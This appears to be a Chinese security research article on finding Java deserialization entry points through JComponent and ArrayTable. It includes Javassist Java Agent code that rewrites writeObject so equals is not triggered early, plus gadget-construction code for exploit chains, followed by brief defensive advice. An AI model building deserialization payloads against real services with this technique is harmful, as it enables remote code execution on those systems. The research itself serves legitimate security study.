基于动态Agent挖掘更多的反序列化入口
字数 1181 2025-08-23 18:31:08
基于动态Agent挖掘Java反序列化入口的技术研究
1. 前言
本文主要探讨如何利用Java动态Agent技术来挖掘更多的反序列化利用入口,特别是针对那些在常规利用中会遇到问题的场景。文章以JComponent类的反序列化过程为例,展示了如何通过修改writeObject流程来绕过equals方法提前触发的问题。
2. JComponent类的反序列化分析
2.1 readObject方法分析
JComponent类的readObject方法关键逻辑如下:
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
// 处理ReadObjectCallback逻辑...
// 读取客户端属性
int cpCount = s.readInt();
if (cpCount > 0) {
clientProperties = new ArrayTable();
for (int counter = 0; counter < cpCount; counter++) {
clientProperties.put(s.readObject(), s.readObject());
}
}
// 其他逻辑...
}
该方法会读取序列化流中的键值对,并将其存入ArrayTable中。
2.2 ArrayTable的put方法
ArrayTable的put方法关键逻辑:
public void put(Object key, Object value) {
if (table == null) {
table = new Object[]{key, value};
} else {
int size = size();
if (size < ARRAY_BOUNDARY) {
// 数组形式存储
if (containsKey(key)) {
Object[] tmp = (Object[]) table;
for (int i = 0; i < tmp.length - 1; i += 2) {
if (tmp[i].equals(key)) { // 关键点:触发equals方法
tmp[i + 1] = value;
break;
}
}
} else {
// 扩容逻辑...
}
} else {
// Hashtable形式存储...
}
}
}
2.3 containsKey方法
public boolean containsKey(Object key) {
boolean contains = false;
if (table != null) {
if (isArray()) {
Object[] array = (Object[]) table;
for (int i = 0; i < array.length - 1; i += 2) {
if (array[i].equals(key)) { // 直接调用equals方法
contains = true;
break;
}
}
} else {
// Hashtable处理...
}
}
return contains;
}
3. 问题分析
在常规利用中,我们希望通过反序列化触发equals方法,但在JComponent的writeObject过程中会提前触发equals:
private void writeObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
// UI相关处理...
ArrayTable.writeArrayTable(s, clientProperties);
}
writeArrayTable方法的关键逻辑:
static void writeArrayTable(ObjectOutputStream s, ArrayTable table) throws IOException {
Object keys[];
if (table == null || (keys = table.getKeys(null)) == null) {
s.writeInt(0);
} else {
// 过滤不可序列化的键值对...
s.writeInt(validCount);
if (validCount > 0) {
for (Object key : keys) {
if (key != null) {
s.writeObject(key);
s.writeObject(table.get(key)); // 这里会调用get方法
if (--validCount == 0) {
break;
}
}
}
}
}
}
get方法中会触发equals:
public Object get(Object key) {
Object value = null;
if (table != null) {
if (isArray()) {
Object[] array = (Object[]) table;
for (int i = 0; i < array.length - 1; i += 2) {
if (array[i].equals(key)) { // 提前触发equals
value = array[i + 1];
break;
}
}
} else {
// Hashtable处理...
}
}
return value;
}
4. 解决方案:动态Agent技术
4.1 基本思路
通过Java Agent技术修改JComponent的writeObject方法,绕过默认的writeArrayTable逻辑,直接写入我们构造的table数组。
4.2 实现代码
public byte[] transform(final ClassLoader loader, final String className,
final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain,
final byte[] classfileBuffer) {
if (className.equals("javax/swing/JComponent")) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass jClazz = classPool.get("javax.swing.JComponent");
CtMethod w = jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");
String methodBody = "{" +
"$1.defaultWriteObject();" +
"$1.writeInt(2);" + // 写入键值对数量
"try {" +
"Class clz = $0.clientProperties.getClass();" +
"java.lang.reflect.Field field = clz.getDeclaredField(\"table\");" +
"field.setAccessible(true);" +
"Object[] table = (Object[]) field.get($0.clientProperties);" +
"for (int i = 0; i < 4; i++) {" + // 遍历table数组并写入
"$1.writeObject(table[i]);" +
"}" +
"}" +
"catch (Exception ex) {}" +
"}";
w.setBody(methodBody);
byte[] byteCode = jClazz.toBytecode();
jClazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
return null;
}
4.3 利用链构造
JPanel j = new JPanel();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);
Object[] table = new Object[]{o1, "1", o2, "2"}; // o1和o2是我们想要触发equals的对象
ReflectionUtil.setField(arrayTable, "table", table);
ReflectionUtil.setField(j, "clientProperties", arrayTable);
SerializeUtil.deserialize(SerializeUtil.serialize(j));
5. 其他类似场景
类似的利用场景还包括:
- AbstractAction类
- actionMap属性
- 其他使用ArrayTable类的场景
这些类/属性都使用了ArrayTable作为存储结构,可以采用类似的技术手段进行利用。
6. 技术要点总结
-
ArrayTable的特性:既可以作为数组也可以作为Hashtable存储键值对,在数组形式下会直接调用equals方法进行比较。
-
序列化/反序列化流程:
- 默认的writeObject会调用writeArrayTable
- writeArrayTable会调用get方法
- get方法会触发equals
-
绕过方法:
- 使用Java Agent修改writeObject方法
- 直接反射获取table数组并序列化
- 避免触发默认的get/equals逻辑
-
动态Agent技术优势:
- 可以修改已加载类的字节码
- 无需修改源代码
- 运行时生效
7. 扩展思考
- 可以探索更多使用类似ArrayTable结构的类
- 研究其他可能通过动态Agent技术增强的利用链
- 考虑如何检测和防御此类攻击
8. 防御建议
- 对反序列化操作进行严格限制
- 监控和限制Java Agent的加载
- 更新相关库到最新版本
- 实施代码审计,检查潜在的利用点
通过本文的分析,我们展示了如何利用Java动态Agent技术来挖掘和增强反序列化利用链,特别是在面对equals方法提前触发的场景时,提供了一种有效的解决方案。